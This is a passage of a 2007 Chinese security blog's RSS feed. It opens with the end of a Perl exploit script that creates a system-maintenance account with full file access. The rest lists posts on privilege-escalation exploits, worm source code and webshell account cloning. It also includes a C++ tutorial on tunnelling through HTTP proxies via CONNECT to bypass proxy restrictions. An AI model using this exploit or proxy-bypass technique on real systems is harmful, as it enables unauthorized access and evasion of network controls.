$sock "-SessionTimeOut=-1\r\n";<br>print $sock "-Expire=0\r\n";<br>print $sock "-RatioUp=1\r\n";<br>print $sock "-RatioDown=1\r\n";<br>print $sock "-RatiosCredit=0\r\n";<br>print $sock "-QuotaCurrent=0\r\n";<br>print $sock "-QuotaMaximum=0\r\n";<br>print $sock "-Maintenance=System\r\n";<br>print $sock "-PasswordType=Regular\r\n";<br>print $sock "-Ratios=None\r\n";<br>print $sock " Access=".$homedir."|RWAMELCDP\r\n";<br>print $sock "QUIT\r\n";<br><br><br>@ret=&lt;$sock&gt;;<br>print "@ret"; <br><br>close(STDERR);<br>close(STDOUT);<br>exit;<br></div>
</div>
<img src ="http://www.cppblog.com/elva/aggbug/29350.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.cppblog.com/elva/" target="_blank">叶子</a> 2007-08-04 15:17 <a href="http://www.cppblog.com/elva/archive/2007/08/04/29350.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>Symantec 核心驱动 symtdi.sys 本地权限提升漏洞</title><link>http://www.cppblog.com/elva/archive/2007/07/20/28428.html</link><dc:creator>叶子</dc:creator><author>叶子</author><pubDate>Fri, 20 Jul 2007 04:15:00 GMT</pubDate><guid>http://www.cppblog.com/elva/archive/2007/07/20/28428.html</guid><wfw:comment>http://www.cppblog.com/elva/comments/28428.html</wfw:comment><comments>http://www.cppblog.com/elva/archive/2007/07/20/28428.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.cppblog.com/elva/comments/commentRss/28428.html</wfw:commentRss><trackback:ping>http://www.cppblog.com/elva/services/trackbacks/28428.html</trackback:ping><description><![CDATA[&nbsp;&nbsp;&nbsp;&nbsp; 摘要: &nbsp;&nbsp;<a href='http://www.cppblog.com/elva/archive/2007/07/20/28428.html'>阅读全文</a><img src ="http://www.cppblog.com/elva/aggbug/28428.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.cppblog.com/elva/" target="_blank">叶子</a> 2007-07-20 12:15 <a href="http://www.cppblog.com/elva/archive/2007/07/20/28428.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>Rav 核心驱动 memscan.sys 本地权限提升漏洞</title><link>http://www.cppblog.com/elva/archive/2007/07/20/28427.html</link><dc:creator>叶子</dc:creator><author>叶子</author><pubDate>Fri, 20 Jul 2007 04:14:00 GMT</pubDate><guid>http://www.cppblog.com/elva/archive/2007/07/20/28427.html</guid><wfw:comment>http://www.cppblog.com/elva/comments/28427.html</wfw:comment><comments>http://www.cppblog.com/elva/archive/2007/07/20/28427.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.cppblog.com/elva/comments/commentRss/28427.html</wfw:commentRss><trackback:ping>http://www.cppblog.com/elva/services/trackbacks/28427.html</trackback:ping><description><![CDATA[&nbsp;&nbsp;&nbsp;&nbsp; 摘要: &nbsp;&nbsp;<a href='http://www.cppblog.com/elva/archive/2007/07/20/28427.html'>阅读全文</a><img src ="http://www.cppblog.com/elva/aggbug/28427.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.cppblog.com/elva/" target="_blank">叶子</a> 2007-07-20 12:14 <a href="http://www.cppblog.com/elva/archive/2007/07/20/28427.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>Linux Kernel do_mremap VMA本地权限提升漏洞</title><link>http://www.cppblog.com/elva/archive/2007/06/01/25237.html</link><dc:creator>叶子</dc:creator><author>叶子</author><pubDate>Thu, 31 May 2007 19:10:00 GMT</pubDate><guid>http://www.cppblog.com/elva/archive/2007/06/01/25237.html</guid><wfw:comment>http://www.cppblog.com/elva/comments/25237.html</wfw:comment><comments>http://www.cppblog.com/elva/archive/2007/06/01/25237.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.cppblog.com/elva/comments/commentRss/25237.html</wfw:commentRss><trackback:ping>http://www.cppblog.com/elva/services/trackbacks/25237.html</trackback:ping><description><![CDATA[&nbsp;&nbsp;&nbsp;&nbsp; 摘要: &nbsp;&nbsp;<a href='http://www.cppblog.com/elva/archive/2007/06/01/25237.html'>阅读全文</a><img src ="http://www.cppblog.com/elva/aggbug/25237.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.cppblog.com/elva/" target="_blank">叶子</a> 2007-06-01 03:10 <a href="http://www.cppblog.com/elva/archive/2007/06/01/25237.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>Kaspersky Anti-Virus 远程删除任意文件漏洞分析及利用代码</title><link>http://www.cppblog.com/elva/archive/2007/05/31/25224.html</link><dc:creator>叶子</dc:creator><author>叶子</author><pubDate>Thu, 31 May 2007 12:44:00 GMT</pubDate><guid>http://www.cppblog.com/elva/archive/2007/05/31/25224.html</guid><wfw:comment>http://www.cppblog.com/elva/comments/25224.html</wfw:comment><comments>http://www.cppblog.com/elva/archive/2007/05/31/25224.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.cppblog.com/elva/comments/commentRss/25224.html</wfw:commentRss><trackback:ping>http://www.cppblog.com/elva/services/trackbacks/25224.html</trackback:ping><description><![CDATA[&nbsp;&nbsp;&nbsp;&nbsp; 摘要: &nbsp;&nbsp;<a href='http://www.cppblog.com/elva/archive/2007/05/31/25224.html'>阅读全文</a><img src ="http://www.cppblog.com/elva/aggbug/25224.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.cppblog.com/elva/" target="_blank">叶子</a> 2007-05-31 20:44 <a href="http://www.cppblog.com/elva/archive/2007/05/31/25224.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>命令批处理实现对3389登录的日志记录 </title><link>http://www.cppblog.com/elva/archive/2007/05/24/24732.html</link><dc:creator>叶子</dc:creator><author>叶子</author><pubDate>Wed, 23 May 2007 17:50:00 GMT</pubDate><guid>http://www.cppblog.com/elva/archive/2007/05/24/24732.html</guid><wfw:comment>http://www.cppblog.com/elva/comments/24732.html</wfw:comment><comments>http://www.cppblog.com/elva/archive/2007/05/24/24732.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.cppblog.com/elva/comments/commentRss/24732.html</wfw:commentRss><trackback:ping>http://www.cppblog.com/elva/services/trackbacks/24732.html</trackback:ping><description><![CDATA[&nbsp;&nbsp;&nbsp;&nbsp; 摘要: &nbsp;&nbsp;<a href='http://www.cppblog.com/elva/archive/2007/05/24/24732.html'>阅读全文</a><img src ="http://www.cppblog.com/elva/aggbug/24732.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.cppblog.com/elva/" target="_blank">叶子</a> 2007-05-24 01:50 <a href="http://www.cppblog.com/elva/archive/2007/05/24/24732.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>判断当前用户是否为系统管理员</title><link>http://www.cppblog.com/elva/archive/2007/05/14/24080.html</link><dc:creator>叶子</dc:creator><author>叶子</author><pubDate>Sun, 13 May 2007 16:56:00 GMT</pubDate><guid>http://www.cppblog.com/elva/archive/2007/05/14/24080.html</guid><wfw:comment>http://www.cppblog.com/elva/comments/24080.html</wfw:comment><comments>http://www.cppblog.com/elva/archive/2007/05/14/24080.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.cppblog.com/elva/comments/commentRss/24080.html</wfw:commentRss><trackback:ping>http://www.cppblog.com/elva/services/trackbacks/24080.html</trackback:ping><description><![CDATA[&nbsp;&nbsp;&nbsp;&nbsp; 摘要: &nbsp;&nbsp;<a href='http://www.cppblog.com/elva/archive/2007/05/14/24080.html'>阅读全文</a><img src ="http://www.cppblog.com/elva/aggbug/24080.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.cppblog.com/elva/" target="_blank">叶子</a> 2007-05-14 00:56 <a href="http://www.cppblog.com/elva/archive/2007/05/14/24080.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>2000下可执行文件修改自身</title><link>http://www.cppblog.com/elva/archive/2007/05/14/24079.html</link><dc:creator>叶子</dc:creator><author>叶子</author><pubDate>Sun, 13 May 2007 16:55:00 GMT</pubDate><guid>http://www.cppblog.com/elva/archive/2007/05/14/24079.html</guid><wfw:comment>http://www.cppblog.com/elva/comments/24079.html</wfw:comment><comments>http://www.cppblog.com/elva/archive/2007/05/14/24079.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.cppblog.com/elva/comments/commentRss/24079.html</wfw:commentRss><trackback:ping>http://www.cppblog.com/elva/services/trackbacks/24079.html</trackback:ping><description><![CDATA[&nbsp;&nbsp;&nbsp;&nbsp; 摘要: &nbsp;&nbsp;<a href='http://www.cppblog.com/elva/archive/2007/05/14/24079.html'>阅读全文</a><img src ="http://www.cppblog.com/elva/aggbug/24079.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.cppblog.com/elva/" target="_blank">叶子</a> 2007-05-14 00:55 <a href="http://www.cppblog.com/elva/archive/2007/05/14/24079.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>第一个支持2000和2003下完美进行用户克隆的C源码(可在webshell里直接运行)</title><link>http://www.cppblog.com/elva/archive/2007/05/14/24078.html</link><dc:creator>叶子</dc:creator><author>叶子</author><pubDate>Sun, 13 May 2007 16:49:00 GMT</pubDate><guid>http://www.cppblog.com/elva/archive/2007/05/14/24078.html</guid><wfw:comment>http://www.cppblog.com/elva/comments/24078.html</wfw:comment><comments>http://www.cppblog.com/elva/archive/2007/05/14/24078.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.cppblog.com/elva/comments/commentRss/24078.html</wfw:commentRss><trackback:ping>http://www.cppblog.com/elva/services/trackbacks/24078.html</trackback:ping><description><![CDATA[&nbsp;&nbsp;&nbsp;&nbsp; 摘要: &nbsp;&nbsp;<a href='http://www.cppblog.com/elva/archive/2007/05/14/24078.html'>阅读全文</a><img src ="http://www.cppblog.com/elva/aggbug/24078.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.cppblog.com/elva/" target="_blank">叶子</a> 2007-05-14 00:49 <a href="http://www.cppblog.com/elva/archive/2007/05/14/24078.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>MS Windows GDI Local Privilege Escalation Exploit (MS07-017) </title><link>http://www.cppblog.com/elva/archive/2007/05/08/23634.html</link><dc:creator>叶子</dc:creator><author>叶子</author><pubDate>Tue, 08 May 2007 08:49:00 GMT</pubDate><guid>http://www.cppblog.com/elva/archive/2007/05/08/23634.html</guid><wfw:comment>http://www.cppblog.com/elva/comments/23634.html</wfw:comment><comments>http://www.cppblog.com/elva/archive/2007/05/08/23634.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.cppblog.com/elva/comments/commentRss/23634.html</wfw:commentRss><trackback:ping>http://www.cppblog.com/elva/services/trackbacks/23634.html</trackback:ping><description><![CDATA[&nbsp;&nbsp;&nbsp;&nbsp; 摘要: &nbsp;&nbsp;<a href='http://www.cppblog.com/elva/archive/2007/05/08/23634.html'>阅读全文</a><img src ="http://www.cppblog.com/elva/aggbug/23634.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.cppblog.com/elva/" target="_blank">叶子</a> 2007-05-08 16:49 <a href="http://www.cppblog.com/elva/archive/2007/05/08/23634.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>带详细解释的冲击波原代码</title><link>http://www.cppblog.com/elva/archive/2007/05/08/23633.html</link><dc:creator>叶子</dc:creator><author>叶子</author><pubDate>Tue, 08 May 2007 08:43:00 GMT</pubDate><guid>http://www.cppblog.com/elva/archive/2007/05/08/23633.html</guid><wfw:comment>http://www.cppblog.com/elva/comments/23633.html</wfw:comment><comments>http://www.cppblog.com/elva/archive/2007/05/08/23633.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.cppblog.com/elva/comments/commentRss/23633.html</wfw:commentRss><trackback:ping>http://www.cppblog.com/elva/services/trackbacks/23633.html</trackback:ping><description><![CDATA[&nbsp;&nbsp;&nbsp;&nbsp; 摘要: &nbsp;&nbsp;<a href='http://www.cppblog.com/elva/archive/2007/05/08/23633.html'>阅读全文</a><img src ="http://www.cppblog.com/elva/aggbug/23633.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.cppblog.com/elva/" target="_blank">叶子</a> 2007-05-08 16:43 <a href="http://www.cppblog.com/elva/archive/2007/05/08/23633.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>HTTP Tunneling</title><link>http://www.cppblog.com/elva/archive/2007/05/06/23526.html</link><dc:creator>叶子</dc:creator><author>叶子</author><pubDate>Sun, 06 May 2007 08:51:00 GMT</pubDate><guid>http://www.cppblog.com/elva/archive/2007/05/06/23526.html</guid><wfw:comment>http://www.cppblog.com/elva/comments/23526.html</wfw:comment><comments>http://www.cppblog.com/elva/archive/2007/05/06/23526.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.cppblog.com/elva/comments/commentRss/23526.html</wfw:commentRss><trackback:ping>http://www.cppblog.com/elva/services/trackbacks/23526.html</trackback:ping><description><![CDATA[<h2>Introduction</h2>
<h3>HTTP Tunneling</h3>
<p>HTTP is a text-based protocol to retrieve Web pages through a Web browser. Mostly, if you are on a LAN connection, you are behind a proxy server; this proxy server has one HTTP proxy running on some defined port. In your Internet Explorer's Connection option, you specify LAN settings as required. This proxy server is definitely running on a text-based protocol, and you can only get HTTP-related data from the outside network, right!! Well, there is a small loophole from which you can go through HTTP and connect to the outside world and get any data you want in binary protocol, or even your own protocol. It's through HTTPS.</p>
<h3>HTTPS Explanation</h3>
<p>In HTTPS, data is transferred from browser to server and server to browser in a secure manner. It's a binary protocol; when it goes through a proxy, the proxy doesn't understand anything. The proxy just allows a binary stream to open and lets both server and client exchange the data. Now, we can fool the proxy server and connect to any server and exchange data. The proxy server will think that we are doing some secure HTTP session.</p>
<p>For HTTPS, your browser connects to a proxy server and sends a command:</p>
<pre><span style="BACKGROUND-COLOR: #ffdb70">CONNECT neurospeech.com:443 HTTP/1.0 &lt;CR&gt;&lt;LF&gt;
HOST neurospeech.com:443&lt;CR&gt;&lt;LF&gt;
[... other HTTP header lines ending with &lt;CR&gt;&lt;LF&gt; if required]&gt;
&lt;CR&gt;&lt;LF&gt;    // Last Empty Line</span></pre>
<p>Then, the proxy server treats this as some HTTP Secure Session, and opens a binary stream to the required server and port as defined. If a connection is established, the proxy server returns the following response:</p>
<pre><span style="BACKGROUND-COLOR: #ffdb70">HTTP/1.0 200 Connection Established&lt;CR&gt;&lt;LF&gt;
[.... other HTTP header lines ending with &lt;CR&gt;&lt;LF&gt;..
ignore all of them]
&lt;CR&gt;&lt;LF&gt;    // Last Empty Line</span></pre>
<p>Now, the browser is connected to the end server and can exchange data in both a binary and secure form.</p>
<h3>How to Do This</h3>
<p>Now, it's your program's turn to fool the proxy server and behave as Internet Explorer behaves for Secure HTTP.</p>
<ol>
    <li>Connect to Proxy Server first.
    <li>Issue <em>CONNECT Host:Port HTTP/1.1&lt;CR&gt;&lt;LF&gt;</em>.
    <li>Issue <em>&lt;CR&gt;&lt;LF&gt;</em>.
    <li>Wait for a line of response. If it contains <em>HTTP/1.X 200</em>, the connection is successful.
    <li>Read further lines of response until you receive an empty line.
    <li>Now, you are connected to the outside world through a proxy. Do any data exchange you want. </li>
</ol>
<h3>Sample Source Code</h3>
<div class=precollapse id=premain2 style="WIDTH: 100%"><img id=preimg2 style="CURSOR: hand" height=9 src="http://www.codeproject.com/images/minus.gif" width=9 preid="2"><span id=precollapse2 style="MARGIN-BOTTOM: 0px; CURSOR: hand" preid="2"> Collapse</span></div>
<pre id=pre2 style="MARGIN-TOP: 0px">  <span style="BACKGROUND-COLOR: #ffdb70">// You need to connect to mail.yahoo.com on port 25
// Through a proxy on 192.0.1.1, on HTTP Proxy 4480
// CSocketClient is Socket wrapping class
// When you apply operator &lt;&lt; on CString, it writes CString
// To Socket ending with CRLF
// When you apply operator &gt;&gt; on CString, it receives
// a Line of response from socket until CRLF
try
{
CString Request,Response;
CSocketClient Client;
Client.ConnectTo("192.0.1.1",4480);
// Issue CONNECT Command
Request = "CONNECT mail.yahoo.com:25 HTTP/1.0";
Client&lt;&lt;Request;
// Issue empty line
Request = "";
Client&lt;&lt;Request;
// Receive Response From Server
Client&gt;&gt;Response;
// Ignore HTTP Version
int n = Response.Find(' ');
Response = Response.Mid(n+1);
// Http Response Must be 200 only
if(Response.Left(3)!="200")
{
// Connection refused from HTTP Proxy Server
AfxMessageBox(Response);
}
// Read Response Lines until you receive an empty line.
do
{
Client&gt;&gt;Response;
if (Response.IsEmpty())
break;
}while (true);
// Coooooooool.... Now connected to mail.yahoo.com:25
// Do further SMTP Protocol here..
}
catch (CSocketException * pE)
{
pE-&gt;ReportError();
}</span></pre>
<h3>Library Source Code</h3>
<p>The <em>Dns.h</em> file contains all DNS-related source code. It uses other libraries, as <em>SocketEx.h</em>, <em>SocketClient.h</em>, and <em>NeuroBuffer.h</em>.</p>
<h4>CSocketEx</h4>
<p>Socket functions as a wrapper class. (<code>CSocket</code> is very heavy and unreliable if you don't have the exact idea of how it works.) All the functions are of the same name as <code>CSocket</code>. You can use this class directly.</p>
<h4>CSocketClient</h4>
<p>Derived from <code>CSocketEx</code> and throws proper exceptions with details of Winsock errors. It defines two operators, <code>&gt;&gt;</code> and <code>&lt;&lt;</code>, for easy sending and receiving; it also changes network to host and host to network order of bytes if required.</p>
<h4>CHttpProxySocketClient</h4>
<p>Derived from <code>CSocketClient</code>, you can call the <code>SetProxySettings(ProxyServer,Port)</code> method and set proxy settings. Then, you can connect to the desired host and port as you need. The <code>ConnectTo</code> method is overridden, and it automatically implements an HTTP proxy protocol and gives you a connection without any hassle.</p>
<h3>How to Use CHttpProxySocketClient</h3>
<div class=precollapse id=premain3 style="WIDTH: 100%"><img id=preimg3 style="CURSOR: hand" height=9 src="http://www.codeproject.com/images/minus.gif" width=9 preid="3"><span id=precollapse3 style="MARGIN-BOTTOM: 0px; CURSOR: hand" preid="3"> Collapse</span></div>
<pre id=pre3 style="MARGIN-TOP: 0px">  <span style="BACKGROUND-COLOR: #ffdb70">// e.g. You need to connect to mail.yahoo.com on port 25
// Through a proxy on 192.0.1.1, on HTTP Proxy 4480
// CSocketClient is Socket wrapping class
// When you apply operator &lt;&lt; on CString, it writes CString
// To Socket ending with CRLF
// When you apply operator &gt;&gt; on CString, it receives
// Line of response from socket until CRLF
try
{
CHttpProxySocketClient Client;
Client.SetProxySettings("192.0.1.1",1979);
// Connect to server mail.yahoo.com on port 25
Client.ConnectTo("mail.yahoo.com",25);
// You now have access to mail.yahoo.com on port 25
// If you do not call SetProxySettings, then
// you are connected to mail.yahoo.com directly if
// you have direct access, so always use
// CHttpProxySocketClient and no need to do any
// extra coding.
}
catch(CSocketException * pE) {
pE-&gt;ReportError();
}</span></pre>
<blockquote>
<p><strong>Note:</strong> I usually don't program in the form of <em>.h</em> and <em>.cpp</em> different files, because using them the next time somewhere else is a big problem because you must move both files here and there. So, I put all the code in my <em>.h</em> file only; I don't write to the <em>.cpp</em> file unless it's required. You need to copy only the <em>SocketEx.h</em>, <em>SocketClient.h</em>, and <em>HttpProxySocket.h</em> files into your project's directory, and add line:</p>
<pre><span class=cpp-preprocessor style="BACKGROUND-COLOR: #ffdb70">#include "<font color=#ff0000>HttpProxySocket.h</font>"</span></pre>
<p>after your:</p>
<pre><span class=cpp-preprocessor style="BACKGROUND-COLOR: #ffdb70">#if !defined(.....</span></pre>
<p>and so forth code of your Visual Studio-generated file. If you put anything above this, you will get <em>n</em> number of errors.</p>
</blockquote>
<p>&nbsp;</p>
<!-- Article Ends --><script src="http://www.codeproject.com/script/togglePre.js" type=text/javascript></script>
<img src ="http://www.cppblog.com/elva/aggbug/23526.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.cppblog.com/elva/" target="_blank">叶子</a> 2007-05-06 16:51 <a href="http://www.cppblog.com/elva/archive/2007/05/06/23526.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>远程桌面安全全解（下）</title><link>http://www.cppblog.com/elva/archive/2007/05/06/23524.html</link><dc:creator>叶子</dc:creator><author>叶子</author><pubDate>Sun, 06 May 2007 08:36:00 GMT</pubDate><guid>http://www.cppblog.com/elva/archive/2007/05/06/23524.html</guid><wfw:comment>http://www.cppblog.com/elva/comments/23524.html</wfw:comment><comments>http://www.cppblog.com/elva/archive/2007/05/06/23524.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.cppblog.com/elva/comments/commentRss/23524.html</wfw:commentRss><trackback:ping>http://www.cppblog.com/elva/services/trackbacks/23524.html</trackback:ping><description><![CDATA[&nbsp;&nbsp;&nbsp;&nbsp; 摘要: &nbsp;&nbsp;<a href='http://www.cppblog.com/elva/archive/2007/05/06/23524.html'>阅读全文</a><img src ="http://www.cppblog.com/elva/aggbug/23524.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.cppblog.com/elva/" target="_blank">叶子</a> 2007-05-06 16:36 <a href="http://www.cppblog.com/elva/archive/2007/05/06/23524.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>远程桌面安全全解(上)</title><link>http://www.cppblog.com/elva/archive/2007/05/06/23523.html</link><dc:creator>叶子</dc:creator><author>叶子</author><pubDate>Sun, 06 May 2007 08:35:00 GMT</pubDate><guid>http://www.cppblog.com/elva/archive/2007/05/06/23523.html</guid><wfw:comment>http://www.cppblog.com/elva/comments/23523.html</wfw:comment><comments>http://www.cppblog.com/elva/archive/2007/05/06/23523.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.cppblog.com/elva/comments/commentRss/23523.html</wfw:commentRss><trackback:ping>http://www.cppblog.com/elva/services/trackbacks/23523.html</trackback:ping><description><![CDATA[&nbsp;&nbsp;&nbsp;&nbsp; 摘要: &nbsp;&nbsp;<a href='http://www.cppblog.com/elva/archive/2007/05/06/23523.html'>阅读全文</a><img src ="http://www.cppblog.com/elva/aggbug/23523.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.cppblog.com/elva/" target="_blank">叶子</a> 2007-05-06 16:35 <a href="http://www.cppblog.com/elva/archive/2007/05/06/23523.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item></channel></rss>